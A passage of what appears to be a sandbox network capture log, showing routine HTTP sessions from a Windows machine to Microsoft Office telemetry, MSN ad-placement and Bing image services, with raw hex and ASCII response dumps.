2024-12-06 23:15:41 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231542Z-1746fd949bd4w8sthC1EWR700400000004h000000000sd3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:41 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231542Z-1746fd949bd4w8sthC1EWR700400000004m000000000h4n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:42 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231542Z-r1cf579d77898tqwhC1EWRf9q800000000r0000000007kt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231542Z-1746fd949bdkw94lhC1EWRxuz4000000050000000000gh5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:43 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49811	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	2610	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231540Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4f2364812fbe4551be33199e6dad61ee&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-280815&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p= Cache-Control: no-cache MS-CV: HSk4YAAtPEyazUeO.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:43 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2966 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: TP9fWmdD+74IhW+SSFsUnVG2g+dHIlEFchca+30gTKBQ0QA9C/BnSceiMxPqUmOmZNr4XoEeu78o+Kb91FAqjSZrFj6XXGnvdoIPgjezj+J3LmFP192Iaxl1phfv1d/KLHD2e+U3TTu19nHvKhDLAwgqyt9/nXdhviN3PgWSiBWYBkTdXW433d6OT3DrgtUIWak1IFTrUgSVwDfeJJWIqpj3rAy51ldkEuGJzAI0isK/dLI/JroRqwFf4H/Fw8sdgp6QQbO4ydDUPDUYgHolVDwsPxGyt/ZTKfVELCGmY/5rtZpx6m9WJk4Lp/3yZADQpt5WGBycWjGZJZ4BdgBeqw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:43 GMT Connection: close
2024-12-06 23:15:43 UTC	2966	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49812	2.16.158.83	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-12-06 23:15:44 UTC	628	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Fri, 06 Dec 2024 23:15:43 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.349e1002.1733526943.143c9a68
2024-12-06 23:15:44 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49813	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	2608	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231540Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f7c0ee8b5fd547a2b70b8f0544efb975&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338388&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=531538185&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p= Cache-Control: no-cache MS-CV: HSk4YAAtPEyazUeO.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:44 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: QcMbFzA2JwEw27dYrNuXDIxO+8rcBkEKdGjEU3DW3cjs3p4m2RFlpHdxE6f9Aeoj+Da7zTslZgl1byDfT2BytHCSo+HunIHpuFGjptjn8I5LjKlj2aEbntM0ByXQrK0cI49BY6tCxuNe8v1bBhfZnKCmu605mI7Eci7anvfStf/4SFRPH7Xczph0zqCdC80hJ+w/EuELP0UnPKfJ/0SM0b7ZZG94vzzv2NGU5NlrMyE26Kp+VZ961sC3Suj+31xRiVHsgYWvZnaH8uXj4GRPaB1jPNQbfXplxkhLge+b5boYW35JuwbhQMLGQYgTj66acRkZpK6ff3dQC9Qt01U9kA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:43 GMT Connection: close
2024-12-06 23:15:44 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49820	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231541Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=2c807cae763a4309acd87634907dce12&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338387&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=530725852,531209900,530725852&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: 